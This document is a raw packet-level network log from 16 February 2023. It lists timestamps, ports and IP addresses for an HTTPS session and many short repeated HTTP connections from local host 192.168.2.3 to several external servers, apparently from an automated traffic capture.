Feb 16, 2023 11:49:29.621495008 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.621551991 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.621861935 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.621892929 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.621961117 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.621977091 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.621990919 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.622015953 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.627233982 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.751420021 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.751466036 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.751669884 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.751708984 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.751725912 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.751773119 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.760273933 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.760365963 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.760397911 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.760431051 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.760468960 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.760482073 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.761217117 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.761295080 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.761662006 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.761662006 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.761697054 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.761778116 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.761861086 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.761938095 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.761951923 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.761979103 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.762003899 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.762015104 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.762032032 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.762743950 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.762820005 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.762855053 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.762882948 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.762903929 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.762934923 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.763628006 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.763700962 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.763742924 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.763761997 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.763782978 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.763819933 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.764529943 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.764609098 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.764993906 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.764993906 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.765019894 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.765078068 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.765458107 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.765530109 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.765546083 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.765582085 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.765608072 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.765624046 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.766278028 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.766355038 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.766379118 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.766408920 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.766427994 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.766455889 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.767067909 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.767117977 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.767178059 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.767204046 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.767220974 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.767250061 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:30.331459045 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:30.331481934 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:30.331554890 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:30.331634045 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:30.331651926 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:30.331690073 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:30.331712008 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:30.601628065 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:30.601653099 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:30.601790905 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:30.601820946 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:30.601902962 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:30.601928949 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:30.602987051 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:30.603044987 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:30.603064060 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:30.603075981 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:30.907948971 CET	49707	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:31.154011965 CET	80	49707	210.182.29.70	192.168.2.3
Feb 16, 2023 11:49:31.154326916 CET	49707	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:31.162094116 CET	49707	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:31.162220001 CET	49707	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:31.408157110 CET	80	49707	210.182.29.70	192.168.2.3
Feb 16, 2023 11:49:32.334059954 CET	80	49707	210.182.29.70	192.168.2.3
Feb 16, 2023 11:49:32.334422112 CET	80	49707	210.182.29.70	192.168.2.3
Feb 16, 2023 11:49:32.334471941 CET	49707	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:32.334518909 CET	49707	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:32.393317938 CET	49708	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:32.583424091 CET	80	49708	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:32.583709002 CET	49708	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:32.584270000 CET	49708	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:32.584270954 CET	49708	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:32.779392004 CET	80	49708	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:33.125063896 CET	49707	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:33.370981932 CET	80	49707	210.182.29.70	192.168.2.3
Feb 16, 2023 11:49:33.485677004 CET	80	49708	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:33.485722065 CET	80	49708	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:33.485949039 CET	49708	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:33.494445086 CET	49708	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:33.647305965 CET	49709	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:33.683446884 CET	80	49708	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:33.845617056 CET	80	49709	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:33.845752954 CET	49709	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:33.960288048 CET	49709	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:33.961466074 CET	49709	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:34.159537077 CET	80	49709	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:34.882044077 CET	80	49709	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:34.882085085 CET	80	49709	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:34.882328033 CET	49709	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:34.897135973 CET	49709	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:35.093643904 CET	80	49709	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:35.440764904 CET	49710	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:35.643493891 CET	80	49710	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:35.643748999 CET	49710	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:36.140422106 CET	49710	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:36.140479088 CET	49710	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:36.341514111 CET	80	49710	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:37.037990093 CET	80	49710	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:37.043495893 CET	80	49710	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:37.043746948 CET	49710	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:38.067070961 CET	49710	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:38.267379999 CET	80	49710	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:38.395478964 CET	49711	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:38.586028099 CET	80	49711	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:38.586321115 CET	49711	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:38.605539083 CET	49711	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:38.605600119 CET	49711	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:38.795981884 CET	80	49711	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:39.494288921 CET	80	49711	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:39.494338036 CET	80	49711	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:39.494512081 CET	49711	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:39.499294996 CET	49711	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:39.547082901 CET	49712	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:39.691904068 CET	80	49711	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:39.754647017 CET	80	49712	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:39.754755974 CET	49712	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:39.755117893 CET	49712	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:39.755209923 CET	49712	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:39.962608099 CET	80	49712	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:40.647159100 CET	80	49712	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:40.647582054 CET	49712	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:40.652708054 CET	80	49712	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:40.652940989 CET	49712	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:40.852590084 CET	80	49712	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:40.935437918 CET	49713	80	192.168.2.3	79.102.150.149
Feb 16, 2023 11:49:41.009413958 CET	80	49713	79.102.150.149	192.168.2.3
Feb 16, 2023 11:49:41.009568930 CET	49713	80	192.168.2.3	79.102.150.149
Feb 16, 2023 11:49:41.009999037 CET	49713	80	192.168.2.3	79.102.150.149
Feb 16, 2023 11:49:41.010037899 CET	49713	80	192.168.2.3	79.102.150.149
Feb 16, 2023 11:49:41.075593948 CET	80	49713	79.102.150.149	192.168.2.3
Feb 16, 2023 11:49:41.389448881 CET	80	49713	79.102.150.149	192.168.2.3
Feb 16, 2023 11:49:41.389703035 CET	49713	80	192.168.2.3	79.102.150.149
Feb 16, 2023 11:49:41.397497892 CET	80	49713	79.102.150.149	192.168.2.3
Feb 16, 2023 11:49:41.397711992 CET	49713	80	192.168.2.3	79.102.150.149
Feb 16, 2023 11:49:41.397917986 CET	49713	80	192.168.2.3	79.102.150.149
Feb 16, 2023 11:49:41.459475040 CET	80	49713	79.102.150.149	192.168.2.3
Feb 16, 2023 11:49:41.487683058 CET	49714	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:41.689513922 CET	80	49714	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:41.689790010 CET	49714	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:41.691025972 CET	49714	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:41.691075087 CET	49714	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:41.889503002 CET	80	49714	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:42.577826977 CET	80	49714	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:42.577907085 CET	80	49714	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:42.578152895 CET	49714	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:42.578219891 CET	49714	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:42.686664104 CET	49715	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:42.777477980 CET	80	49714	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:42.926888943 CET	80	49715	210.182.29.70	192.168.2.3
Feb 16, 2023 11:49:42.927154064 CET	49715	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:42.927665949 CET	49715	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:42.927743912 CET	49715	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:43.167684078 CET	80	49715	210.182.29.70	192.168.2.3
Feb 16, 2023 11:49:44.105103016 CET	80	49715	210.182.29.70	192.168.2.3
Feb 16, 2023 11:49:44.105156898 CET	80	49715	210.182.29.70	192.168.2.3
Feb 16, 2023 11:49:44.105251074 CET	49715	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:44.105422974 CET	49715	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:44.197498083 CET	49716	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:44.345163107 CET	80	49715	210.182.29.70	192.168.2.3
Feb 16, 2023 11:49:44.397495031 CET	80	49716	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:44.397746086 CET	49716	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:44.398288965 CET	49716	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:44.398355961 CET	49716	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:44.597660065 CET	80	49716	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:45.277734041 CET	80	49716	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:45.278094053 CET	49716	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:45.281398058 CET	80	49716	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:45.281548977 CET	49716	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:45.477596998 CET	80	49716	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:45.996417046 CET	49717	80	192.168.2.3	211.171.233.126
Feb 16, 2023 11:49:46.242903948 CET	80	49717	211.171.233.126	192.168.2.3
Feb 16, 2023 11:49:46.243504047 CET	49717	80	192.168.2.3	211.171.233.126
Feb 16, 2023 11:49:46.244776011 CET	49717	80	192.168.2.3	211.171.233.126
Feb 16, 2023 11:49:46.244837999 CET	49717	80	192.168.2.3	211.171.233.126
Feb 16, 2023 11:49:46.490782022 CET	80	49717	211.171.233.126	192.168.2.3
Feb 16, 2023 11:49:47.548507929 CET	80	49717	211.171.233.126	192.168.2.3
Feb 16, 2023 11:49:47.549550056 CET	80	49717	211.171.233.126	192.168.2.3
Feb 16, 2023 11:49:47.549743891 CET	49717	80	192.168.2.3	211.171.233.126
Feb 16, 2023 11:49:47.554857016 CET	49717	80	192.168.2.3	211.171.233.126
Feb 16, 2023 11:49:47.801182985 CET	80	49717	211.171.233.126	192.168.2.3
Feb 16, 2023 11:49:47.845519066 CET	49718	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:48.038043022 CET	80	49718	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:48.038259983 CET	49718	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:48.038765907 CET	49718	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:48.038847923 CET	49718	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:48.233958006 CET	80	49718	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:48.924221992 CET	80	49718	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:48.924264908 CET	80	49718	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:48.924468040 CET	49718	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:48.924544096 CET	49718	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:48.983638048 CET	49719	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:49.115870953 CET	80	49718	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:49.249083996 CET	80	49719	210.182.29.70	192.168.2.3
Feb 16, 2023 11:49:49.249294043 CET	49719	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:49.249803066 CET	49719	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:49.249886036 CET	49719	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:49.515197039 CET	80	49719	210.182.29.70	192.168.2.3
Feb 16, 2023 11:49:50.636269093 CET	80	49719	210.182.29.70	192.168.2.3
Feb 16, 2023 11:49:50.636302948 CET	80	49719	210.182.29.70	192.168.2.3
Feb 16, 2023 11:49:50.636509895 CET	49719	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:50.641077995 CET	49719	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:50.705904007 CET	49720	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:50.906414986 CET	80	49719	210.182.29.70	192.168.2.3
Feb 16, 2023 11:49:50.955528975 CET	80	49720	210.182.29.70	192.168.2.3
Feb 16, 2023 11:49:50.955749035 CET	49720	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:50.956480980 CET	49720	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:50.956527948 CET	49720	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:51.206263065 CET	80	49720	210.182.29.70	192.168.2.3
Feb 16, 2023 11:49:52.300899029 CET	80	49720	210.182.29.70	192.168.2.3
Feb 16, 2023 11:49:52.301081896 CET	80	49720	210.182.29.70	192.168.2.3
Feb 16, 2023 11:49:52.301712036 CET	49720	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:52.301981926 CET	49720	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:52.453807116 CET	49721	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:52.551495075 CET	80	49720	210.182.29.70	192.168.2.3
Feb 16, 2023 11:49:52.715508938 CET	80	49721	210.182.29.70	192.168.2.3
Feb 16, 2023 11:49:52.715758085 CET	49721	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:52.716156960 CET	49721	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:52.716207981 CET	49721	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:52.977937937 CET	80	49721	210.182.29.70	192.168.2.3
Feb 16, 2023 11:49:54.072783947 CET	80	49721	210.182.29.70	192.168.2.3
Feb 16, 2023 11:49:54.072854996 CET	80	49721	210.182.29.70	192.168.2.3
Feb 16, 2023 11:49:54.073029995 CET	49721	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:54.073095083 CET	49721	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:54.334685087 CET	80	49721	210.182.29.70	192.168.2.3
Feb 16, 2023 11:49:54.723776102 CET	49722	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:54.925173998 CET	80	49722	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:54.925514936 CET	49722	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:55.257003069 CET	49722	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:55.257055998 CET	49722	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:55.457068920 CET	80	49722	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:56.165486097 CET	80	49722	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:56.165575027 CET	80	49722	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:56.165702105 CET	49722	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:57.098926067 CET	49722	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:57.299001932 CET	80	49722	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:57.319446087 CET	49723	80	192.168.2.3	211.171.233.126
Feb 16, 2023 11:49:57.564873934 CET	80	49723	211.171.233.126	192.168.2.3
Feb 16, 2023 11:49:57.565119028 CET	49723	80	192.168.2.3	211.171.233.126
Feb 16, 2023 11:49:57.565632105 CET	49723	80	192.168.2.3	211.171.233.126
Feb 16, 2023 11:49:57.565632105 CET	49723	80	192.168.2.3	211.171.233.126
Feb 16, 2023 11:49:57.810936928 CET	80	49723	211.171.233.126	192.168.2.3
Feb 16, 2023 11:49:58.850142002 CET	80	49723	211.171.233.126	192.168.2.3
Feb 16, 2023 11:49:58.850310087 CET	80	49723	211.171.233.126	192.168.2.3
Feb 16, 2023 11:49:58.850416899 CET	49723	80	192.168.2.3	211.171.233.126
Feb 16, 2023 11:49:58.850503922 CET	49723	80	192.168.2.3	211.171.233.126
Feb 16, 2023 11:49:59.095886946 CET	80	49723	211.171.233.126	192.168.2.3
Feb 16, 2023 11:49:59.420466900 CET	49724	80	192.168.2.3	187.209.149.199
Feb 16, 2023 11:49:59.627435923 CET	80	49724	187.209.149.199	192.168.2.3
Feb 16, 2023 11:49:59.627664089 CET	49724	80	192.168.2.3	187.209.149.199
Feb 16, 2023 11:49:59.628058910 CET	49724	80	192.168.2.3	187.209.149.199
Feb 16, 2023 11:49:59.628089905 CET	49724	80	192.168.2.3	187.209.149.199
Feb 16, 2023 11:49:59.834579945 CET	80	49724	187.209.149.199	192.168.2.3
Feb 16, 2023 11:50:00.325999022 CET	80	49724	187.209.149.199	192.168.2.3
Feb 16, 2023 11:50:00.326051950 CET	80	49724	187.209.149.199	192.168.2.3
Feb 16, 2023 11:50:00.326193094 CET	49724	80	192.168.2.3	187.209.149.199
Feb 16, 2023 11:50:00.326289892 CET	49724	80	192.168.2.3	187.209.149.199
Feb 16, 2023 11:50:00.459362984 CET	49725	80	192.168.2.3	211.171.233.126
Feb 16, 2023 11:50:00.533058882 CET	80	49724	187.209.149.199	192.168.2.3
Feb 16, 2023 11:50:00.715821028 CET	80	49725	211.171.233.126	192.168.2.3
Feb 16, 2023 11:50:00.716053009 CET	49725	80	192.168.2.3	211.171.233.126
Feb 16, 2023 11:50:00.716516972 CET	49725	80	192.168.2.3	211.171.233.126
Feb 16, 2023 11:50:00.716583014 CET	49725	80	192.168.2.3	211.171.233.126
Feb 16, 2023 11:50:00.972975969 CET	80	49725	211.171.233.126	192.168.2.3
Feb 16, 2023 11:50:04.438142061 CET	80	49725	211.171.233.126	192.168.2.3
Feb 16, 2023 11:50:04.438224077 CET	80	49725	211.171.233.126	192.168.2.3
Feb 16, 2023 11:50:04.438399076 CET	49725	80	192.168.2.3	211.171.233.126
Feb 16, 2023 11:50:04.438590050 CET	49725	80	192.168.2.3	211.171.233.126
Feb 16, 2023 11:50:04.520272970 CET	49726	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:50:04.698746920 CET	80	49725	211.171.233.126	192.168.2.3
Feb 16, 2023 11:50:04.712615013 CET	80	49726	190.140.74.43	192.168.2.3
Feb 16, 2023 11:50:04.713301897 CET	49726	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:50:04.713635921 CET	49726	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:50:04.713680983 CET	49726	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:50:04.907936096 CET	80	49726	190.140.74.43	192.168.2.3
Feb 16, 2023 11:50:05.610321999 CET	80	49726	190.140.74.43	192.168.2.3
Feb 16, 2023 11:50:05.610394001 CET	80	49726	190.140.74.43	192.168.2.3
Feb 16, 2023 11:50:05.610471964 CET	49726	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:50:05.610635042 CET	49726	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:50:05.666198015 CET	49727	80	192.168.2.3	79.102.150.149
Feb 16, 2023 11:50:05.729145050 CET	80	49727	79.102.150.149	192.168.2.3
Feb 16, 2023 11:50:05.729454994 CET	49727	80	192.168.2.3	79.102.150.149
Feb 16, 2023 11:50:05.729923964 CET	49727	80	192.168.2.3	79.102.150.149
Feb 16, 2023 11:50:05.729962111 CET	49727	80	192.168.2.3	79.102.150.149
Feb 16, 2023 11:50:05.788997889 CET	80	49727	79.102.150.149	192.168.2.3
Feb 16, 2023 11:50:05.799932003 CET	80	49726	190.140.74.43	192.168.2.3
Feb 16, 2023 11:50:06.107368946 CET	80	49727	79.102.150.149	192.168.2.3
Feb 16, 2023 11:50:06.107414961 CET	80	49727	79.102.150.149	192.168.2.3
Feb 16, 2023 11:50:06.107594967 CET	49727	80	192.168.2.3	79.102.150.149
Feb 16, 2023 11:50:06.107759953 CET	49727	80	192.168.2.3	79.102.150.149
Feb 16, 2023 11:50:06.107759953 CET	49727	80	192.168.2.3	79.102.150.149
Feb 16, 2023 11:50:06.169127941 CET	80	49727	79.102.150.149	192.168.2.3
Feb 16, 2023 11:50:06.178354979 CET	49728	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:50:06.364403963 CET	80	49728	190.140.74.43	192.168.2.3
Feb 16, 2023 11:50:06.369313955 CET	49728	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:50:06.369653940 CET	49728	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:50:06.369688034 CET	49728	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:50:06.556345940 CET	80	49728	190.140.74.43	192.168.2.3
Feb 16, 2023 11:50:07.250567913 CET	80	49728	190.140.74.43	192.168.2.3
Feb 16, 2023 11:50:07.252038956 CET	49728	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:50:07.256458998 CET	80	49728	190.140.74.43	192.168.2.3
Feb 16, 2023 11:50:07.256640911 CET	49728	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:50:07.402151108 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.436582088 CET	80	49728	190.140.74.43	192.168.2.3
Feb 16, 2023 11:50:07.461935043 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.462074995 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.462420940 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.522181988 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.530309916 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.530352116 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.530395031 CET	80	49729	91.227.16.11	192.168.2.3
